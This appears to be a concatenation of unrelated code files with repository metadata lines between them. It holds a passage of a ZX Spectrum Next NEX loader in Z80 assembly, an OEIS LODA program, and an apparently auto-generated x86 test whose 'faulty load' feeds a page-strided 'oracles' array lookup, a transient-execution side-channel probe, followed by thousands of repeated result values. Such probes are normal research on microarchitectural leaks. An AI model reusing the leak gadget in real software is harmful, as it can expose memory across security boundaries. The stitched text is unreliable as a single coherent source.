PALETTE_VALUE_REGISTER equ $41 ;Used to upload 8-bit colors to the ULANext palette. PALETTE_FORMAT_REGISTER equ $42 PALETTE_CONTROL_REGISTER equ $43 ;Enables or disables ULANext interpretation of attribute values and toggles active palette. PALETTE_VALUE_BIT9_REGISTER equ $44 ;Holds the additional blue color bit for RGB333 color selection. MMU_REGISTER_0 equ $50 ;Set a Spectrum RAM page at position 0x0000 to 0x1FFF MMU_REGISTER_1 equ $51 ;Set a Spectrum RAM page at position 0x2000 to 0x3FFF MMU_REGISTER_2 equ $52 ;Set a Spectrum RAM page at position 0x4000 to 0x5FFF MMU_REGISTER_3 equ $53 ;Set a Spectrum RAM page at position 0x6000 to 0x7FFF MMU_REGISTER_4 equ $54 ;Set a Spectrum RAM page at position 0x8000 to 0x9FFF MMU_REGISTER_5 equ $55 ;Set a Spectrum RAM page at position 0xA000 to 0xBFFF MMU_REGISTER_6 equ $56 ;Set a Spectrum RAM page at position 0xC000 to 0xDFFF MMU_REGISTER_7 equ $57 ;Set a Spectrum RAM page at position 0xE000 to 0xFFFF COPPER_CONTROL_LO_BYTE_REGISTER equ $61 COPPER_CONTROL_HI_BYTE_REGISTER equ $62 GRAPHIC_PRIORITIES_SLU = %00000000 ; sprites over l2 over ula GRAPHIC_PRIORITIES_LSU = %00000100 GRAPHIC_PRIORITIES_SUL = %00001000 GRAPHIC_PRIORITIES_LUS = %00001100 GRAPHIC_PRIORITIES_USL = %00010000 GRAPHIC_PRIORITIES_ULS = %00010100 GRAPHIC_OVER_BORDER = %00000010 GRAPHIC_SPRITES_VISIBLE = %00000001 LORES_ENABLE = %10000000 NEXT_VERSION_REGISTER equ $01 CORE_VERSION_REGISTER equ $0E PERIPHERAL_1_REGISTER equ $05 ;Sets joystick mode, video frequency, Scanlines and Scandoubler. PERIPHERAL_2_REGISTER equ $06 ;Enables Acceleration, Lightpen, DivMMC, Multiface, Mouse and AY audio. PERIPHERAL_3_REGISTER equ $08 ;Enables Stereo, Internal Speaker, SpecDrum, Timex Video Modes, Turbo Sound Next and NTSC/PAL selection. TBBLUE_REGISTER_SELECT equ $243B MACRO SetSpriteControlRegister:NEXTREG_A SPRITE_CONTROL_REGISTER:ENDM MACRO Set14mhz:NEXTREG_nn TURBO_CONTROL_REGISTER,%10:ENDM MACRO BREAK:dw $01DD:ENDM MACRO ADD_HL_A:dw $31ED:ENDM MACRO SWAPNIB: dw $23ED: ENDM MACRO NEXTREG_A register:dw $92ED:db register:ENDM ; Set Next hardware register using A MACRO NEXTREG_nn register, value:dw $91ED:db register:db value:ENDM ; Set Next hardware register using an immediate value ;------------------------------- IFDEF testing IFDEF testing8000 org $8000 ELSE org $4000 ENDIF start ld ix,testfile jp loadbig ;testfile db "l2.nex",0 ;testfile db "ula.nex",0 testfile db "lo.nex",0 ;testfile db "shr.nex",0 ;testfile db "shc.nex",0 ;testfile db "bis.nex",0 ;testfile db "warhawk.nex",0 ELSE org $2000 start ld a,h:or l:jr nz,.gl ld hl,emptyline:call print_rst16:jr finish .gl ld de,filename:ld b,127 .bl ld a,(hl):cp ":":jr z,.dn:or a:jr z,.dn:cp 13:jr z,.dn:bit 7,a:jr nz,.dn ld (de),a:inc hl:inc de:djnz .bl .dn xor a:ld (de),a ; the filename passed may have trailing spaces... the index needs to update to omit them ld ix,filename call stripLeading call loadbig finish xor a:ret ENDIF ;------------------------------- stripLeading ; remove leading spaces ix = pointer ld a,ixh:ld h,a:ld a,ixl:ld l,a ; hl = pointer to filename ld b,127 .l1 ld a,(hl):cp ' ':jp nz,.ok inc hl djnz .l1 .ok ld a,h:ld ixh,a:ld a,l:ld ixl,a ; set ix to current ret ;------------------------------- getCurrentCore ld a,NEXT_VERSION_REGISTER ld bc,TBBLUE_REGISTER_SELECT out (c),a:inc b:in a,(c) ; major and minor ld c,a and %00001111:ld (CoreMinor),a ld a,c:SWAPNIB:and %00001111:ld (CoreMajor),a ld a,NEXT_VERSION_REGISTER ld bc,CORE_VERSION_REGISTER out (c),a:inc b:in a,(c):ld (CoreSub),a ; sub minor ret ;------------------------------- getrealbank cp 8:ret nc ld hl,.table:add a,l:ld l,a:adc a,h:sub l:ld h,a:ld a,(hl):ret .table db 5,2,0,1,3,4,6,7 ;------------------------------- loadbig ld (oldStack),sp push ix:call setdrv:pop ix:push ix:call fopen:pop ix:ret c call getCurrentCore ; set transparency on ULA NEXTREG_nn 66, 15 NEXTREG_nn PALETTE_CONTROL_REGISTER, 0 NEXTREG_nn PALETTE_CONTROL_REGISTER, 0 NEXTREG_nn PALETTE_INDEX_REGISTER, $18 NEXTREG_nn PALETTE_VALUE_REGISTER, $e3 xor a:out (254),a ld hl,$5800:ld de,$5801:ld bc,$2ff:ld (hl),0:ldir ld bc,4667:ld a,0:out (c),a NEXTREG_nn SPRITE_CONTROL_REGISTER,GRAPHIC_PRIORITIES_SLU + GRAPHIC_SPRITES_VISIBLE Set14mhz di IFDEF testing IFDEF testing8000 ld sp,$7fff ELSE ld sp,$4800 ENDIF ELSE ld sp,$3fff ENDIF ; ld a,LAYER_2_PAGE_0*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7:ld hl,$c000:ld de,$c001:ld bc,$3fff:ld (hl),l:ldir ; ld a,LAYER_2_PAGE_1*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7:ld hl,$c000:ld de,$c001:ld bc,$3fff:ld (hl),l:ldir ; ld a,LAYER_2_PAGE_2*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7:ld hl,$c000:ld de,$c001:ld bc,$3fff:ld (hl),l:ldir ld a,5*2:NEXTREG_A MMU_REGISTER_2 ; warning if this 16K bank isn't 5 on loading this then it will crash on testing but 5 is default so should be ok. inc a:NEXTREG_A MMU_REGISTER_3 ld a,2*2:NEXTREG_A MMU_REGISTER_4 inc a:NEXTREG_A MMU_REGISTER_5 xor a:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7 ; pop ix ; push ix:call setdrv:pop ix:call fopen ld ix,$c000:ld bc,$200:call fread ld hl,$c000+HEADER_BANKS:ld de,LocalBanks:ld bc,48+64:ldir ld hl,($c000+HEADER_PC):ld (PCReg),hl ld hl,($c000+HEADER_SP):ld (SPReg),hl ld hl,($c000+HEADER_LOADBAR):ld (LoadBar),hl ld hl,($c000+HEADER_LOADDEL):ld (LoadDel),hl ld hl,(CoreMajor):ld de,(CoreSub) ld a,($c000+HEADER_CORE_MAJOR) :cp l:jr z,.o1:jp nc,coreUpdate:jr .ok .o1 ld a,($c000+HEADER_CORE_MINOR) :cp h:jr z,.o2:jp nc,coreUpdate:jr .ok .o2 ld a,($c000+HEADER_CORE_SUBMINOR) :cp e:jr z,.ok:jp nc,coreUpdate .ok ld a,($c000+HEADER_DONTRESETNEXTREGS):or a:jp nz,.dontresetregs ;Reset All registers ;stop copper NEXTREG_nn COPPER_CONTROL_HI_BYTE_REGISTER, 0 ; stop NEXTREG_nn COPPER_CONTROL_LO_BYTE_REGISTER, 0 ;reset AY sound chips enabled ; ld a,6:ld bc,$243b:out (c),a:inc b:in a,(c):or 3:out (c),a ;PERIPHERAL_3_REGISTER ; NEXTREG_nn 6,200 ; 11001000 ld a,PERIPHERAL_2_REGISTER:ld bc,TBBLUE_REGISTER_SELECT:out (c),a:inc b:in a,(c) set 7,a ; turbo on res 6,a ; dac i2s (don't think this does anything) res 5,a ; lightpen off res 4,a ; DivMMC automatic paging off set 3,a ; mulitface - add to build options so can be selected ; res 2,a ; 2 = ps2 mode - leave to option control ; set 1,a:set 0,a ; set AY (rather than YM) - * Causes Silence * ; bits 1-0 = Audio chip mode (0- = disabled, 10 = YM, 11 = AY) ; 11 = disable audio, or appears to be the case out (c),a ; NEXTREG_nn 8,254 ; 11111110 ld a,PERIPHERAL_3_REGISTER:ld bc,TBBLUE_REGISTER_SELECT:out (c),a:inc b:in a,(c) set 7,a ; disable locked paging set 6,a ; disable contention res 5,a ; stereo to ABC (perhaps leave to options?) set 4,a ; enable internal speaker set 3,a ; enable specdrum set 2,a ; enable timex set 1,a ; enable turbosound res 0,a ; must be 0 out (c),a ; ld a,8:ld bc,$243b:out (c),a:inc b:in a,(c):set 1,a:set 5,a:out (c),a ;PERIPHERAL_3_REGISTER NEXTREG_nn 7,%10 ; turbo 14Mhz NEXTREG_nn 18,9 ; layer2 page NEXTREG_nn 19,12 ; layer2 shadow page NEXTREG_nn 20,$e3 ; transparent index NEXTREG_nn 21,1 ; priorities + sprite over border + sprite enable NEXTREG_nn 22,0:NEXTREG_nn 23,0 ; layer2 xy scroll NEXTREG_nn 27,7 ; clipwindow index reset all 3 NEXTREG_nn 24,0:NEXTREG_nn 24,255:NEXTREG_nn 24,0:NEXTREG_nn 24,191 ; clip window layer2 NEXTREG_nn 25,0:NEXTREG_nn 25,255:NEXTREG_nn 25,0:NEXTREG_nn 25,191 ; clip window sprites NEXTREG_nn 26,0:NEXTREG_nn 26,255:NEXTREG_nn 26,0:NEXTREG_nn 26,191 ; clip window ula NEXTREG_nn 45,0 ; sound drive reset NEXTREG_nn 50,0:NEXTREG_nn 51,0 ; lores XY scroll NEXTREG_nn 67,0 ; ula palette NEXTREG_nn 66,15 ; allow flashing NEXTREG_nn 64,0 call .ul NEXTREG_nn 64,128 call .ul NEXTREG_nn 67,16 ;layer2 palette call .pa NEXTREG_nn 67,32 ;sprite palette call .pa NEXTREG_nn 74,0 ; transparency fallback value NEXTREG_nn 75,$e3 ; sprite transparency index NEXTREG_nn MMU_REGISTER_0,255 NEXTREG_nn MMU_REGISTER_1,255 jr .dontresetregs .pa NEXTREG_nn 64,0 ;palette index xor a ;index 0 .rp NEXTREG_A 65 ;palette low 8 inc a:jr nz,.rp ;reset all 256 colours ret .ul ld c,8 .u0 ld hl,DefaultPalette:ld b,16 .u2 ld a,(hl):inc hl:NEXTREG_A PALETTE_VALUE_REGISTER djnz .u2:dec c:jr nz,.u0 ret .dontresetregs ld a,($c000+HEADER_LOADSCR):ld (IsLoadingScr),a:or a:jp z,.skpbmp ld a,($c000+HEADER_BORDERCOL):ld (BorderCol),a ld a,(IsLoadingScr):and 128:jr nz,.skppal ld a,(IsLoadingScr):and %11010:jr nz,.skppal ld ix,$c200:ld bc,$200:call fread ;palette ld a,(IsLoadingScr):and 4:jr z,.nlores NEXTREG_nn PALETTE_CONTROL_REGISTER,%00000001:jr .nl2 ;layer2 palette .nlores NEXTREG_nn PALETTE_CONTROL_REGISTER,%00010000 ;layer2 palette .nl2 NEXTREG_nn PALETTE_INDEX_REGISTER, 0 ld hl,$c200:ld b,0 .pl ld a,(hl):inc hl:NEXTREG_A PALETTE_VALUE_BIT9_REGISTER ld a,(hl):inc hl:NEXTREG_A PALETTE_VALUE_BIT9_REGISTER djnz .pl .skppal ld a,(IsLoadingScr):and 1:jr z,.notbmp ld a,LAYER_2_PAGE_0*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7:ld ix,$c000:ld bc,$4000:call fread:ld a,6:jp c,.err ld a,LAYER_2_PAGE_1*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7:ld ix,$c000:ld bc,$4000:call fread:ld a,6:jp c,.err ld a,LAYER_2_PAGE_2*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7:ld ix,$c000:ld bc,$4000:call fread:ld a,6:jp c,.err ld bc,4667:ld a,2:out (c),a NEXTREG_nn SPRITE_CONTROL_REGISTER,GRAPHIC_PRIORITIES_SLU + GRAPHIC_SPRITES_VISIBLE xor a:out (255),a .notbmp ld a,(IsLoadingScr):and 2:jr z,.notULA IFDEF testing IFDEF testing8000 ld ix,$4000:ld bc,$1b00:call fread ELSE ld ix,$4800:ld bc,$800:call fread ld ix,$4800:ld bc,$1b00-$800:call fread ENDIF ELSE ld ix,$4000:ld bc,$1b00:call fread ENDIF ld bc,4667:xor a:out (c),a NEXTREG_nn SPRITE_CONTROL_REGISTER,GRAPHIC_PRIORITIES_SLU + GRAPHIC_SPRITES_VISIBLE xor a:out (255),a .notULA ld a,(IsLoadingScr):and 4:jr z,.notLoRes IFDEF testing IFDEF testing8000 ld ix,$4000:ld bc,$1800:call fread ELSE ld ix,$4800:ld bc,$800:call fread ld ix,$4800:ld bc,$1800-$800:call fread ENDIF ELSE ld ix,$4000:ld bc,$1800:call fread ENDIF ld ix,$6000:ld bc,$1800:call fread ld bc,4667:xor a:out (c),a NEXTREG_nn SPRITE_CONTROL_REGISTER,GRAPHIC_PRIORITIES_SLU + GRAPHIC_SPRITES_VISIBLE + LORES_ENABLE ld a,3:out (255),a .notLoRes ld a,(IsLoadingScr):and 8:jr z,.notHiRes IFDEF testing IFDEF testing8000 ld ix,$4000:ld bc,$1800:call fread ELSE ld ix,$4800:ld bc,$800:call fread ld ix,$4800:ld bc,$1800-$800:call fread ENDIF ELSE ld ix,$4000:ld bc,$1800:call fread ENDIF ld ix,$6000:ld bc,$1800:call fread ld bc,4667:xor a:out (c),a NEXTREG_nn SPRITE_CONTROL_REGISTER,GRAPHIC_PRIORITIES_SLU + GRAPHIC_SPRITES_VISIBLE ld a,($c000+HEADER_HIRESCOL):and %111000:or 6:out (255),a ; ld a,6+24:out (255),a .notHiRes ld a,(IsLoadingScr):and 16:jr z,.notHiCol IFDEF testing IFDEF testing8000 ld ix,$4000:ld bc,$1800:call fread ELSE ld ix,$4800:ld bc,$800:call fread ld ix,$4800:ld bc,$1800-$800:call fread ENDIF ELSE ld ix,$4000:ld bc,$1800:call fread ENDIF ld ix,$6000:ld bc,$1800:call fread ld bc,4667:xor a:out (c),a NEXTREG_nn SPRITE_CONTROL_REGISTER,GRAPHIC_PRIORITIES_SLU + GRAPHIC_SPRITES_VISIBLE ld a,2:out (255),a .notHiCol ld a,(BorderCol):out (254),a .skpbmp xor a:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7 IFDEF testing BREAK ENDIF ld a,(LocalBanks+5):or a:jr z,.skb5 IFDEF testing ld ix,$4800:ld bc,$800:call fread:ld a,5:jp c,.poperr ld ix,$4800:ld bc,$3800:call fread:ld a,5:jp c,.poperr ELSE ld ix,$4000:ld bc,$4000:call fread:ld a,5:jp c,.poperr ENDIF .skb5 ld a,(LocalBanks+2):or a:jr z,.skb2 ld ix,$8000:ld bc,$4000:call fread:ld a,4:jp c,.poperr .skb2 ld a,(LocalBanks+0):or a:jr z,.skb0 ld ix,$c000:ld bc,$4000:call fread:ld a,3:jp c,.poperr .skb0 ld d,0:call progress:inc d:call progress:inc d:call progress ld a,3 .lp push af:call getrealbank:ld e,a:ld hl,LocalBanks:ADD_HL_A:ld a,(hl):or a:jr z,.skpld ld a,e:add a,a:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7 ld ix,$c000:ld bc,$4000:call fread:ld a,2:jp c,.poperr .skpld ld a,(IsLoadingScr):or a:call nz,delay pop de:push de:call progress pop af:inc a:cp 112:jr nz,.lp;48+64:jr nz,.lp call fclose xor a:NEXTREG_A MMU_REGISTER_6 inc a:NEXTREG_A MMU_REGISTER_7 ;.stop inc a:and 7:out (254),a:jr .stop ld a,(StartDel) .ss or a:jr z,.go:dec a:ei:halt:di:jp .ss .go ld hl,(PCReg):ld sp,(SPReg) ld a,h:or l:jr z,.returnToBasic IFDEF testing jp (hl) ELSE ld hl,(PCReg) rst $20 ENDIF .poperr .err out (254),a ld bc,4667:xor a:out (c),a .returnToBasic call fclose ld a,($5b5c):and 7:add a,a:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7 ld sp,(oldStack) xor a ret ;-------------------- delay ld a,(LoadDel) .ss or a:ret z:dec a:ei:halt:di:jp .ss ;-------------------- progress ld a,(LoadBar):or a:ret z ld a,LAYER_2_PAGE_2*2:NEXTREG_A MMU_REGISTER_6:inc a:NEXTREG_A MMU_REGISTER_7 ld a,(LoadCol):ld e,a ld h,$fe:ld a,d:add a,a:add a,24-6:ld l,a:ld (hl),e:inc h:ld (hl),e:inc l:ld (hl),e:dec h:ld (hl),e ret ;-------------------- fileError ld a,1:out (254),a ret ;------------- setdrv xor a:rst $08:db M_GETSETDRV ld (drive),a:ret ;------------- fopen ld b,FA_READ:db $21 fcreate ld b,FA_OVERWRITE:db 62 drive db 0 push ix:pop hl:rst $08:db F_OPEN ld (handle),a:jp c, fileError ret ;-------------- fread push ix:pop hl:db 62 handle db 1 rst $08:db F_READ ret ;------------- fclose ld a,(handle):rst $08:db F_CLOSE ret ;------------- coreUpdate ld hl,coretext:call print_rst16 ld hl,($c000+HEADER_CORE_MAJOR):ld h,0:call dec8:ld a,",":rst 16 ld hl,($c000+HEADER_CORE_MINOR):ld h,0:call dec8:ld a,",":rst 16 ld hl,($c000+HEADER_CORE_SUBMINOR):ld h,0:call dec8:ld a,13:rst 16 ld hl,yourcoretext:call print_rst16 ld hl,(CoreMajor):ld h,0:call dec8:ld a,",":rst 16 ld hl,(CoreMinor):ld h,0:call dec8:ld a,",":rst 16 ld hl,(CoreSub):ld h,0:call dec8:ld a,13:rst 16 xor a:ret dec8 ld de,100 call dec0 ld de,10 call dec0 ld de,1 dec0 ld a,"0"-1 .lp inc a sub hl,de jr nc,.lp add hl,de rst 16 ret coretext db "Sorry, this file needs Core",13,0 yourcoretext db "Your Core is ",13,0 ;------------- DefaultPalette db %00000000,%00000010,%10100000,%10100010,%00010100,%00010110,%10110100,%10110110 db %00000000,%00000011,%11100000,%11100111,%00011100,%00011111,%11111100,%11111111 ;------------- CoreMajor db 0 CoreMinor db 0 CoreSub db 0 oldStack dw 0 IsLoadingScr db 0 PCReg dw 0 SPReg dw 0 BorderCol db 0 LoadBar db 0 LoadCol db 0 LoadDel db 0 StartDel db 0 NumFiles dw 0 LocalBanks db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 print_rst16 ld a,(hl):inc hl:or a:ret z:rst 16:jr print_rst16 filename db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 emptyline db ".nexload <filename> to load nex file.",13,0 header equ $ IFDEF testing savesna "nexload.sna",start ELSE last savebin "NEXLOAD",start,last-start ENDIF ;-------------------------------
30.898757
149
0.687054
b0e42eefcb03fad2ce2a119c946fd39c6cac6374
433
asm
Assembly
programs/oeis/163/A163491.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/163/A163491.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/163/A163491.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A163491: A fractal sequence (if we delete the first occurrence of n we get the sequence itself). ; 1,1,1,2,1,2,3,1,2,4,3,1,5,2,4,6,3,1,7,5,2,8,4,6,9,3,1,10,7,5,11,2,8,12,4,6,13,9,3,14,1,10,15,7,5,16,11,2,17,8,12,18,4,6,19,13,9,20,3,14,21,1,10,22,15,7,23,5,16,24,11,2,25,17,8,26,12,18,27,4,6,28,19,13,29,9,20,30,3,14,31,21,1,32,10,22,33,15,7,34 lpb $0 mov $2,$0 gcd $0,3 add $0,3 mul $0,$2 div $0,6 lpe div $0,3 add $0,1
33.307692
246
0.60739
66206f58558ebbbaa90f62d19f0388636eab7c79
7,608
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_871.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_871.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_871.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x6f56, %rsi lea addresses_WC_ht+0x39c8, %rdi nop and %rax, %rax mov $80, %rcx rep movsq nop dec %r9 lea addresses_WT_ht+0x133ad, %rsi nop nop nop sub %r10, %r10 movl $0x61626364, (%rsi) nop nop nop nop nop xor %rcx, %rcx lea addresses_WT_ht+0x1eb56, %rdi nop nop nop nop and $31272, %rdx movb (%rdi), %r10b nop nop inc %r9 lea addresses_A_ht+0xb556, %rsi lea addresses_normal_ht+0x697e, %rdi nop nop nop nop and %r9, %r9 mov $18, %rcx rep movsq nop nop nop sub $44350, %rsi lea addresses_D_ht+0xfe7e, %rsi lea addresses_D_ht+0x8356, %rdi nop dec %r8 mov $56, %rcx rep movsq nop nop nop nop nop cmp %r8, %r8 lea addresses_normal_ht+0x15156, %r8 nop nop xor $38242, %rsi mov (%r8), %ax nop nop nop nop nop mfence lea addresses_WT_ht+0xc756, %rsi lea addresses_WC_ht+0x74a, %rdi nop nop nop nop sub $44521, %r8 mov $27, %rcx rep movsq xor $19934, %rax lea addresses_normal_ht+0xa208, %rsi lea addresses_WT_ht+0x5456, %rdi nop nop xor $12425, %rax mov $98, %rcx rep movsq nop nop nop nop nop sub %r9, %r9 lea addresses_normal_ht+0x6c56, %rdi nop nop nop sub $2504, %rsi movb (%rdi), %cl nop nop nop sub $8120, %rax lea addresses_A_ht+0x69d6, %rcx nop nop add $52167, %rsi movups (%rcx), %xmm7 vpextrq $0, %xmm7, %rdi nop nop add %r9, %r9 lea addresses_UC_ht+0x10526, %rsi lea addresses_UC_ht+0x11456, %rdi clflush (%rdi) nop nop nop sub $10700, %r10 mov $58, %rcx rep movsb nop nop nop nop inc %r8 lea addresses_WT_ht+0x6d6, %r8 nop nop nop nop nop and $53309, %rdx movups (%r8), %xmm7 vpextrq $0, %xmm7, %rax nop nop nop nop dec %rdx lea addresses_D_ht+0x5270, %r10 xor %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%r10) nop xor $29598, %rcx lea addresses_UC_ht+0x16c98, %rsi lea addresses_WC_ht+0x4856, %rdi clflush (%rsi) nop nop and %r8, %r8 mov $30, %rcx rep movsq and $12273, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r9 push %rbp push %rsi // Faulty Load lea addresses_D+0x18756, %rsi add $45342, %r13 vmovups (%rsi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r10 lea oracles, %rbp and $0xff, %r10 shlq $12, %r10 mov (%rbp,%r10,1), %r10 pop %rsi pop %rbp pop %r9 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_WC_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 